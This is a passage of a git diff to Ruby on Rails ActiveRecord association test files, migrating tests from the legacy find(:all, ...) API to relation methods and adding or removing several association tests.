-    Author.columns
-
     authors = assert_queries(2) do
-      Author.find(:all, :include => :author_address, :joins => :comments, :conditions => "posts.title like 'Welcome%'")
+      Author.all.merge!(:includes => :author_address, :joins => :comments, :where => "posts.title like 'Welcome%'").to_a
     end
     assert_equal authors(:david), authors[0]
     assert_equal author_addresses(:david_address), authors[0].author_address
   end
 
   def test_preload_belongs_to_uses_exclusive_scope
-    people = Person.males.find(:all, :include => :primary_contact)
+    people = Person.males.merge(:includes => :primary_contact).to_a
     assert_not_equal people.length, 0
     people.each do |person|
       assert_no_queries {assert_not_nil person.primary_contact}
@@ -961,15 +1020,15 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_preload_has_many_uses_exclusive_scope
-    people = Person.males.find :all, :include => :agents
+    people = Person.males.includes(:agents).to_a
     people.each do |person|
       assert_equal Person.find(person.id).agents, person.agents
     end
   end
 
   def test_preload_has_many_using_primary_key
-    expected = Firm.find(:first).clients_using_primary_key.to_a
-    firm = Firm.find :first, :include => :clients_using_primary_key
+    expected = Firm.first.clients_using_primary_key.to_a
+    firm = Firm.includes(:clients_using_primary_key).first
     assert_no_queries do
       assert_equal expected, firm.clients_using_primary_key
     end
@@ -979,9 +1038,9 @@ class EagerAssociationTest < ActiveRecord::TestCase
     expected = Firm.find(1).clients_using_primary_key.sort_by(&:name)
     # Oracle adapter truncates alias to 30 characters
     if current_adapter?(:OracleAdapter)
-      firm = Firm.find 1, :include => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies'[0,30]+'.name'
+      firm = Firm.all.merge!(:includes => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies'[0,30]+'.name').find(1)
     else
-      firm = Firm.find 1, :include => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies.name'
+      firm = Firm.all.merge!(:includes => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies.name').find(1)
     end
     assert_no_queries do
       assert_equal expected, firm.clients_using_primary_key
@@ -990,7 +1049,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_preload_has_one_using_primary_key
     expected = accounts(:signals37)
-    firm = Firm.find :first, :include => :account_using_primary_key, :order => 'companies.id'
+    firm = Firm.all.merge!(:includes => :account_using_primary_key, :order => 'companies.id').first
     assert_no_queries do
       assert_equal expected, firm.account_using_primary_key
     end
@@ -998,7 +1057,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_include_has_one_using_primary_key
     expected = accounts(:signals37)
-    firm = Firm.find(:all, :include => :account_using_primary_key, :order => 'accounts.id').detect {|f| f.id == 1}
+    firm = Firm.all.merge!(:includes => :account_using_primary_key, :order => 'accounts.id').to_a.detect {|f| f.id == 1}
     assert_no_queries do
       assert_equal expected, firm.account_using_primary_key
     end
@@ -1014,7 +1073,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_preloading_empty_belongs_to_polymorphic
     t = Tagging.create!(:taggable_type => 'Post', :taggable_id => Post.maximum(:id) + 1, :tag => tags(:general))
 
-    tagging = assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) { Tagging.preload(:taggable).find(t.id) }
+    tagging = assert_queries(2) { Tagging.preload(:taggable).find(t.id) }
     assert_no_queries { assert_nil tagging.taggable }
   end
 
@@ -1060,4 +1119,28 @@ class EagerAssociationTest < ActiveRecord::TestCase
       Post.includes(:comments).order(nil).where(:comments => {:body => "Thank you for the welcome"}).first
     end
   end
+
+  def test_deep_including_through_habtm
+    posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
+    assert_no_queries { assert_equal 2, posts[0].categories[0].categorizations.length }
+    assert_no_queries { assert_equal 1, posts[0].categories[1].categorizations.length }
+    assert_no_queries { assert_equal 2, posts[1].categories[0].categorizations.length }
+  end
+
+  test "scoping with a circular preload" do
+    assert_equal Comment.find(1), Comment.preload(:post => :comments).scoping { Comment.find(1) }
+  end
+
+  test "circular preload does not modify unscoped" do
+    expected = FirstPost.unscoped.find(2)
+    FirstPost.preload(:comments => :first_post).find(1)
+    assert_equal expected, FirstPost.unscoped.find(2)
+  end
+
+  test "preload ignores the scoping" do
+    assert_equal(
+      Comment.find(1).post,
+      Post.where('1 = 0').scoping { Comment.preload(:post).find(1).post }
+    )
+  end
 end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index 8dc1423375..bd5a426ca8 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -36,11 +36,6 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
   end
 
   def test_marshalling_extensions
-    if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
-      return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
-                  "to be a Ruby bug.")
-    end
-
     david = developers(:david)
     assert_equal projects(:action_controller), david.projects.find_most_recent
 
@@ -51,11 +46,6 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
   end
 
   def test_marshalling_named_extensions
-    if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
-      return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
-                  "to be a Ruby bug.")
-    end
-
     david = developers(:david)
     assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
 
@@ -71,11 +61,17 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
     assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
   end
 
+  def test_proxy_association_after_scoped
+    post = posts(:welcome)
+    assert_equal post.association(:comments), post.comments.the_association
+    assert_equal post.association(:comments), post.comments.where('1=1').the_association
+  end
+
   private
 
     def extension_name(model)
-      builder = ActiveRecord::Associations::Builder::HasMany.new(model, :association_name, {}) { }
+      builder = ActiveRecord::Associations::Builder::HasMany.new(model, :association_name, nil, {}) { }
       builder.send(:wrap_block_extension)
-      builder.options[:extend].first.name
+      builder.extension_module.name
     end
 end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index 34d90cc395..f3520d43e0 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -23,7 +23,7 @@ require 'models/treaty'
 require 'active_support/core_ext/string/conversions'
 
 class ProjectWithAfterCreateHook < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
   has_and_belongs_to_many :developers,
     :class_name => "DeveloperForProjectWithAfterCreateHook",
     :join_table => "developers_projects",
@@ -39,7 +39,7 @@ class ProjectWithAfterCreateHook < ActiveRecord::Base
 end
 
 class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
   has_and_belongs_to_many :projects,
     :class_name => "ProjectWithAfterCreateHook",
     :join_table => "developers_projects",
@@ -48,7 +48,7 @@ class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
 end
 
 class ProjectWithSymbolsForKeys < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
   has_and_belongs_to_many :developers,
     :class_name => "DeveloperWithSymbolsForKeys",
     :join_table => :developers_projects,
@@ -57,7 +57,7 @@ class ProjectWithSymbolsForKeys < ActiveRecord::Base
 end
 
 class DeveloperWithSymbolsForKeys < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
   has_and_belongs_to_many :projects,
     :class_name => "ProjectWithSymbolsForKeys",
     :join_table => :developers_projects,
@@ -66,18 +66,21 @@ class DeveloperWithSymbolsForKeys < ActiveRecord::Base
 end
 
 class DeveloperWithCounterSQL < ActiveRecord::Base
-  set_table_name 'developers'
-  has_and_belongs_to_many :projects,
-    :class_name => "DeveloperWithCounterSQL",
-    :join_table => "developers_projects",
-    :association_foreign_key => "project_id",
-    :foreign_key => "developer_id",
-    :counter_sql => proc { "SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}" }
+  self.table_name = 'developers'
+
+  ActiveSupport::Deprecation.silence do
+    has_and_belongs_to_many :projects,
+      :class_name => "DeveloperWithCounterSQL",
+      :join_table => "developers_projects",
+      :association_foreign_key => "project_id",
+      :foreign_key => "developer_id",
+      :counter_sql => proc { "SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}" }
+  end
 end
 
 class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
-           :parrots, :pirates, :treasures, :price_estimates, :tags, :taggings
+           :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings
 
   def setup_data_for_habtm_case
     ActiveRecord::Base.connection.execute('delete from countries_treaties')
@@ -123,11 +126,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert active_record.developers.include?(david)
   end
 
-  def test_triple_equality
-    assert !(Array === Developer.find(1).projects)
-    assert Developer.find(1).projects === Array
-  end
-
   def test_adding_single
     jamis = Developer.find(2)
     jamis.projects.reload # causing the collection to load
@@ -338,6 +336,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 3, project.developers.size
   end
 
+  def test_uniq_when_association_already_loaded
+    project = projects(:active_record)
+    project.developers << [ developers(:jamis), developers(:david), developers(:jamis), developers(:david) ]
+    assert_equal 3, Project.includes(:developers).find(project.id).developers.size
+  end
+
   def test_deleting
     david = Developer.find(1)
     active_record = Project.find(1)
@@ -355,7 +359,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   def test_deleting_array
     david = Developer.find(1)
     david.projects.reload
-    david.projects.delete(Project.find(:all))
+    david.projects.delete(Project.all.to_a)
     assert_equal 0, david.projects.size
     assert_equal 0, david.projects(true).size
   end
@@ -375,10 +379,16 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     active_record.developers.reload
     assert_equal 3, active_record.developers_by_sql.size
 
-    active_record.developers_by_sql.delete(Developer.find(:all))
+    active_record.developers_by_sql.delete(Developer.all)
     assert_equal 0, active_record.developers_by_sql(true).size
   end
 
+  def test_deleting_all_with_sql
+    project = Project.find(1)
+    project.developers_by_sql.delete_all
+    assert_equal 0, project.developers_by_sql.size
+  end
+
   def test_deleting_all
     david = Developer.find(1)
     david.projects.reload
@@ -416,7 +426,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   def test_destroying_many
     david = Developer.find(1)
     david.projects.reload
-    projects = Project.all
+    projects = Project.all.to_a
 
     assert_no_difference "Project.count" do
       david.projects.destroy(*projects)
@@ -445,6 +455,26 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert david.projects(true).empty?
   end
 
+  def test_destroy_associations_destroys_multiple_associations
+    george = parrots(:george)
+    assert !george.pirates.empty?
+    assert !george.treasures.empty?
+
+    assert_no_difference "Pirate.count" do
+      assert_no_difference "Treasure.count" do
+        george.destroy_associations
+      end
+    end
+
+    join_records = Parrot.connection.select_all("SELECT * FROM parrots_pirates WHERE parrot_id = #{george.id}")
+    assert join_records.empty?
+    assert george.pirates(true).empty?
+
+    join_records = Parrot.connection.select_all("SELECT * FROM parrots_treasures WHERE parrot_id = #{george.id}")
+    assert join_records.empty?
+    assert george.treasures(true).empty?
+  end
+
   def test_deprecated_push_with_attributes_was_removed
     jamis = developers(:jamis)
     assert_raise(NoMethodError) do
@@ -477,7 +507,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
 
   def test_include_uses_array_include_after_loaded
     project = projects(:active_record)
-    project.developers.class # force load target
+    project.developers.load_target
 
     developer = project.developers.first
 
@@ -528,41 +558,21 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
 
   def test_find_with_merged_options
     assert_equal 1, projects(:active_record).limited_developers.size
-    assert_equal 1, projects(:active_record).limited_developers.find(:all).size
-    assert_equal 3, projects(:active_record).limited_developers.find(:all, :limit => nil).size
+    assert_equal 1, projects(:active_record).limited_developers.to_a.size
+    assert_equal 3, projects(:active_record).limited_developers.limit(nil).to_a.size
   end
 
   def test_dynamic_find_should_respect_association_order
     # Developers are ordered 'name DESC, id DESC'
     high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
 
-    assert_equal high_id_jamis, projects(:active_record).developers.find(:first, :conditions => "name = 'Jamis'")
+    assert_equal high_id_jamis, projects(:active_record).developers.merge(:where => "name = 'Jamis'").first
     assert_equal high_id_jamis, projects(:active_record).developers.find_by_name('Jamis')
   end
 
-  def test_dynamic_find_all_should_respect_association_order
-    # Developers are ordered 'name DESC, id DESC'
-    low_id_jamis = developers(:jamis)
-    middle_id_jamis = developers(:poor_jamis)
-    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
-
-    assert_equal [high_id_jamis, middle_id_jamis, low_id_jamis], projects(:active_record).developers.find(:all, :conditions => "name = 'Jamis'")
-    assert_equal [high_id_jamis, middle_id_jamis, low_id_jamis], projects(:active_record).developers.find_all_by_name('Jamis')
-  end
-
-  def test_find_should_append_to_association_order
+  def test_find_should_prepend_to_association_order
     ordered_developers = projects(:active_record).developers.order('projects.id')
-    assert_equal ['developers.name desc, developers.id desc', 'projects.id'], ordered_developers.order_values
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit
-    assert_equal 1, projects(:active_record).limited_developers.find(:all, :conditions => "name = 'Jamis'").length
-    assert_equal 1, projects(:active_record).limited_developers.find_all_by_name('Jamis').length
-  end
-
-  def test_dynamic_find_all_order_should_override_association_limit
-    assert_equal 2, projects(:active_record).limited_developers.find(:all, :conditions => "name = 'Jamis'", :limit => 9_000).length
-    assert_equal 2, projects(:active_record).limited_developers.find_all_by_name('Jamis', :limit => 9_000).length
+    assert_equal ['projects.id', 'developers.name desc, developers.id desc'], ordered_developers.order_values
   end
 
   def test_dynamic_find_all_should_respect_readonly_access
@@ -583,7 +593,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_find_in_association_with_options
-    developers = projects(:active_record).developers.all
+    developers = projects(:active_record).developers.to_a
     assert_equal 3, developers.size
 
     assert_equal developers(:poor_jamis), projects(:active_record).developers.where("salary < 10000").first
@@ -612,7 +622,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_consider_type
-    developer = Developer.find(:first)
+    developer = Developer.first
     special_project = SpecialProject.create("name" => "Special Project")
 
     other_project = developer.projects.first
@@ -629,7 +639,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     project = SpecialProject.create("name" => "Special Project")
     assert developer.save
     developer.projects << project
-    developer.update_column("name", "Bruza")
+    developer.update_columns("name" => "Bruza")
     assert_equal 1, Developer.connection.select_value(<<-end_sql).to_i
       SELECT count(*) FROM developers_projects
       WHERE project_id = #{project.id}
@@ -647,7 +657,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     categories(:technology).select_testing_posts(true).each do |o|
       assert_respond_to o, :correctness_marker
     end
-    assert_respond_to categories(:technology).select_testing_posts.find(:first), :correctness_marker
+    assert_respond_to categories(:technology).select_testing_posts.first, :correctness_marker
   end
 
   def test_habtm_selects_all_columns_by_default
@@ -659,7 +669,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_join_table_alias
-    assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL').size
+    assert_equal(
+      3,
+      Developer.references(:developers_projects_join).merge(
+        :includes => {:projects => :developers},
+        :where => 'developers_projects_join.joined_on IS NOT NULL'
+      ).to_a.size
+    )
   end
 
   def test_join_with_group
@@ -669,12 +685,18 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     end
     Project.columns.each { |c| group << "projects.#{c.name}" }
 
-    assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL', :group => group.join(",")).size
+    assert_equal(
+      3,
+      Developer.references(:developers_projects_join).merge(
+        :includes => {:projects => :developers}, :where => 'developers_projects_join.joined_on IS NOT NULL',
+        :group => group.join(",")
+      ).to_a.size
+    )
   end
 
   def test_find_grouped
-    all_posts_from_category1 = Post.find(:all, :conditions => "category_id = 1", :joins => :categories)
-    grouped_posts_of_category1 = Post.find(:all, :conditions => "category_id = 1", :group => "author_id", :select => 'count(posts.id) as posts_count', :joins => :categories)
+    all_posts_from_category1 = Post.all.merge!(:where => "category_id = 1", :joins => :categories).to_a
+    grouped_posts_of_category1 = Post.all.merge!(:where => "category_id = 1", :group => "author_id", :select => 'count(posts.id) as posts_count', :joins => :categories).to_a
     assert_equal 5, all_posts_from_category1.size
     assert_equal 2, grouped_posts_of_category1.size
   end
@@ -748,15 +770,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
 
     assert_equal 1, project.developers.size
     assert_equal 1, developer.projects.size
-    assert_equal developer, project.developers.find(:first)
-    assert_equal project, developer.projects.find(:first)
+    assert_equal developer, project.developers.first
+    assert_equal project, developer.projects.first
   end
 
   def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
     assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
-      Member.class_eval do
-        has_and_belongs_to_many :friends, :class_name => "Member", :join_table => "member_friends"
-      end
+      SelfMember.new.friends
     }
   end
 
@@ -766,13 +786,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert Category.find(1).posts_with_authors_sorted_by_author_id.find_by_title('Welcome to the weblog')
   end
 
-  def test_counting_on_habtm_association_and_not_array
-    david = Developer.find(1)
-    # Extra parameter just to make sure we aren't falling back to
-    # Array#count in Ruby >=1.8.7, which would raise an ArgumentError
-    assert_nothing_raised { david.projects.count(:all, :conditions => '1=1') }
-  end
-
   def test_count
     david = Developer.find(1)
     assert_equal 2, david.projects.count
@@ -795,7 +808,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
 
   def test_association_proxy_transaction_method_starts_transaction_in_association_class
     Post.expects(:transaction)
-    Category.find(:first).posts.transaction do
+    Category.first.posts.transaction do
       # nothing
     end
   end
@@ -805,12 +818,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     # clear cache possibly created by other tests
     david.projects.reset_column_information
 
-    # One query for columns, one for primary key
-    assert_queries(2) { david.projects.columns; david.projects.columns }
+    assert_queries(:any) { david.projects.columns }
+    assert_no_queries { david.projects.columns }
 
     ## and again to verify that reset_column_information clears the cache correctly
     david.projects.reset_column_information
-    assert_queries(2) { david.projects.columns; david.projects.columns }
+
+    assert_queries(:any) { david.projects.columns }
+    assert_no_queries { david.projects.columns }
   end
 
   def test_attributes_are_being_set_when_initialized_from_habm_association_with_where_clause
@@ -829,4 +844,16 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     developer = project.developers.build
     assert project.developers.include?(developer)
   end
+
+  test ":insert_sql is deprecated" do
+    klass = Class.new(ActiveRecord::Base)
+    def klass.name; 'Foo'; end
+    assert_deprecated { klass.has_and_belongs_to_many :posts, :insert_sql => 'lol' }
+  end
+
+  test ":delete_sql is deprecated" do
+    klass = Class.new(ActiveRecord::Base)
+    def klass.name; 'Foo'; end
+    assert_deprecated { klass.has_and_belongs_to_many :posts, :delete_sql => 'lol' }
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index a60af7c046..04714f42e9 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -8,6 +8,7 @@ require 'models/reply'
 require 'models/category'
 require 'models/post'
 require 'models/author'
+require 'models/essay'
 require 'models/comment'
 require 'models/person'
 require 'models/reader'
@@ -21,7 +22,9 @@ require 'models/engine'
 
 class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase
   class Invoice < ActiveRecord::Base
-    has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
+    ActiveSupport::Deprecation.silence do
+      has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
+    end
   end
   def test_should_fail
     assert_raise(ArgumentError) do
@@ -32,7 +35,9 @@ end
 
 class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase
   class Invoice < ActiveRecord::Base
-    has_many :custom_line_items, :class_name => 'LineItem', :counter_sql => "SELECT COUNT(*) line_items.* from line_items"
+    ActiveSupport::Deprecation.silence do
+      has_many :custom_line_items, :class_name => 'LineItem', :counter_sql => "SELECT COUNT(*) line_items.* from line_items"
+    end
   end
   def test_should_fail
     assert_raise(ArgumentError) do
@@ -43,7 +48,9 @@ end
 
 class HasManyAssociationsTestForCountDistinctWithFinderSql < ActiveRecord::TestCase
   class Invoice < ActiveRecord::Base
-    has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
+    ActiveSupport::Deprecation.silence do
+      has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
+    end
   end
 
   def test_should_count_distinct_results
@@ -56,12 +63,22 @@ class HasManyAssociationsTestForCountDistinctWithFinderSql < ActiveRecord::TestC
   end
 end
 
+class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
+  fixtures :authors, :posts, :comments
+
+  def test_should_generate_valid_sql
+    author = authors(:david)
+    # this can fail on adapters which require ORDER BY expressions to be included in the SELECT expression
+    # if the reorder clauses are not correctly handled
+    assert author.posts_with_comments_sorted_by_comment_id.where('comments.id > 0').reorder('posts.comments_count DESC', 'posts.taggings_count DESC').last
+  end
+end
 
 
 class HasManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :categories, :companies, :developers, :projects,
            :developers_projects, :topics, :authors, :comments,
-           :people, :posts, :readers, :taggings, :cars
+           :people, :posts, :readers, :taggings, :cars, :essays
 
   def setup
     Client.destroyed_client_ids.clear
@@ -119,6 +136,28 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal car.id, bulb.car_id
   end
 
+  def test_association_protect_foreign_key
+    invoice = Invoice.create
+
+    line_item = invoice.line_items.new
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.new :invoice_id => invoice.id + 1
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.build
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.build :invoice_id => invoice.id + 1
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.create
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.create :invoice_id => invoice.id + 1
+    assert_equal invoice.id, line_item.invoice_id
+  end
+
   def test_association_conditions_bypass_attribute_protection
     car = Car.create(:name => 'honda')
 
@@ -145,7 +184,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   # would be convenient), because this would cause that scope to be applied to any callbacks etc.
   def test_build_and_create_should_not_happen_within_scope
     car = cars(:honda)
-    scoped_count = car.foo_bulbs.scoped.where_values.count
+    scoped_count = car.foo_bulbs.where_values.count
 
     bulb = car.foo_bulbs.build
     assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
@@ -160,7 +199,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_no_sql_should_be_fired_if_association_already_loaded
     Car.create(:name => 'honda')
     bulbs = Car.first.bulbs
-    bulbs.inspect # to load all instances of bulbs
+    bulbs.to_a # to load all instances of bulbs
 
     assert_no_queries do
       bulbs.first()
@@ -188,48 +227,25 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal person, person.readers.first.person
   end
 
-  def test_find_or_create_by_resets_cached_counters
-    person = Person.create! :first_name => 'tenderlove'
-    post   = Post.first
-
-    assert_equal [], person.readers
-    assert_nil person.readers.find_by_post_id(post.id)
-
-    person.readers.find_or_create_by_post_id(post.id)
-
-    assert_equal 1, person.readers.count
-    assert_equal 1, person.readers.length
-    assert_equal post, person.readers.first.post
-    assert_equal person, person.readers.first.person
-  end
-
   def force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.each {|f| }
   end
 
   # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
   def test_counting_with_counter_sql
-    assert_equal 2, Firm.find(:first, :order => "id").clients.count
+    assert_equal 2, Firm.all.merge!(:order => "id").first.clients.count
   end
 
   def test_counting
-    assert_equal 2, Firm.find(:first, :order => "id").plain_clients.count
-  end
-
-  def test_counting_with_empty_hash_conditions
-    assert_equal 2, Firm.find(:first, :order => "id").plain_clients.count(:conditions => {})
-  end
-
-  def test_counting_with_single_conditions
-    assert_equal 1, Firm.find(:first, :order => "id").plain_clients.count(:conditions => ['name=?', "Microsoft"])
+    assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count
   end
 
   def test_counting_with_single_hash
-    assert_equal 1, Firm.find(:first, :order => "id").plain_clients.count(:conditions => {:name => "Microsoft"})
+    assert_equal 1, Firm.all.merge!(:order => "id").first.plain_clients.where(:name => "Microsoft").count
   end
 
   def test_counting_with_column_name_and_hash
-    assert_equal 2, Firm.find(:first, :order => "id").plain_clients.count(:name)
+    assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
   end
 
   def test_counting_with_association_limit
@@ -239,7 +255,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_finding
-    assert_equal 2, Firm.find(:first, :order => "id").clients.length
+    assert_equal 2, Firm.all.merge!(:order => "id").first.clients.length
   end
 
   def test_finding_array_compatibility
@@ -248,112 +264,80 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_find_with_blank_conditions
     [[], {}, nil, ""].each do |blank|
-      assert_equal 2, Firm.find(:first, :order => "id").clients.find(:all, :conditions => blank).size
+      assert_equal 2, Firm.all.merge!(:order => "id").first.clients.where(blank).to_a.size
     end
   end
 
   def test_find_many_with_merged_options
     assert_equal 1, companies(:first_firm).limited_clients.size
-    assert_equal 1, companies(:first_firm).limited_clients.find(:all).size
-    assert_equal 2, companies(:first_firm).limited_clients.find(:all, :limit => nil).size
+    assert_equal 1, companies(:first_firm).limited_clients.to_a.size
+    assert_equal 2, companies(:first_firm).limited_clients.limit(nil).to_a.size
   end
 
-  def test_find_should_append_to_association_order
+  def test_find_should_prepend_to_association_order
     ordered_clients =  companies(:first_firm).clients_sorted_desc.order('companies.id')
-    assert_equal ['id DESC', 'companies.id'], ordered_clients.order_values
-  end
-
-  def test_dynamic_find_last_without_specified_order
-    assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
+    assert_equal ['companies.id', 'id DESC'], ordered_clients.order_values
   end
 
   def test_dynamic_find_should_respect_association_order
-    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find(:first, :conditions => "type = 'Client'")
+    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
     assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
   end
 
-  def test_dynamic_find_all_should_respect_association_order
-    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find(:all, :conditions => "type = 'Client'")
-    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client')
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit
-    assert_equal 1, companies(:first_firm).limited_clients.find(:all, :conditions => "type = 'Client'").length
-    assert_equal 1, companies(:first_firm).limited_clients.find_all_by_type('Client').length
-  end
-
-  def test_dynamic_find_all_limit_should_override_association_limit
-    assert_equal 2, companies(:first_firm).limited_clients.find(:all, :conditions => "type = 'Client'", :limit => 9_000).length
-    assert_equal 2, companies(:first_firm).limited_clients.find_all_by_type('Client', :limit => 9_000).length
-  end
-
-  def test_dynamic_find_all_should_respect_readonly_access
-    companies(:first_firm).readonly_clients.find(:all).each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save!  } }
-    companies(:first_firm).readonly_clients.find(:all).each { |c| assert c.readonly? }
-  end
-
-  def test_dynamic_find_or_create_from_two_attributes_using_an_association
-    author = authors(:david)
-    number_of_posts = Post.count
-    another = author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
-    assert_equal number_of_posts + 1, Post.count
-    assert_equal another, author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
-    assert another.persisted?
-  end
-
   def test_cant_save_has_many_readonly_association
     authors(:david).readonly_comments.each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save! } }
     authors(:david).readonly_comments.each { |c| assert c.readonly? }
   end
 
-  def test_triple_equality
-    # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
-    assert !(Array === Firm.find(:first, :order => "id").clients)
-    assert Firm.find(:first, :order => "id").clients === Array
-  end
-
   def test_finding_default_orders
-    assert_equal "Summit", Firm.find(:first, :order => "id").clients.first.name
+    assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients.first.name
   end
 
   def test_finding_with_different_class_name_and_order
-    assert_equal "Microsoft", Firm.find(:first, :order => "id").clients_sorted_desc.first.name
+    assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
   end
 
   def test_finding_with_foreign_key
-    assert_equal "Microsoft", Firm.find(:first, :order => "id").clients_of_firm.first.name
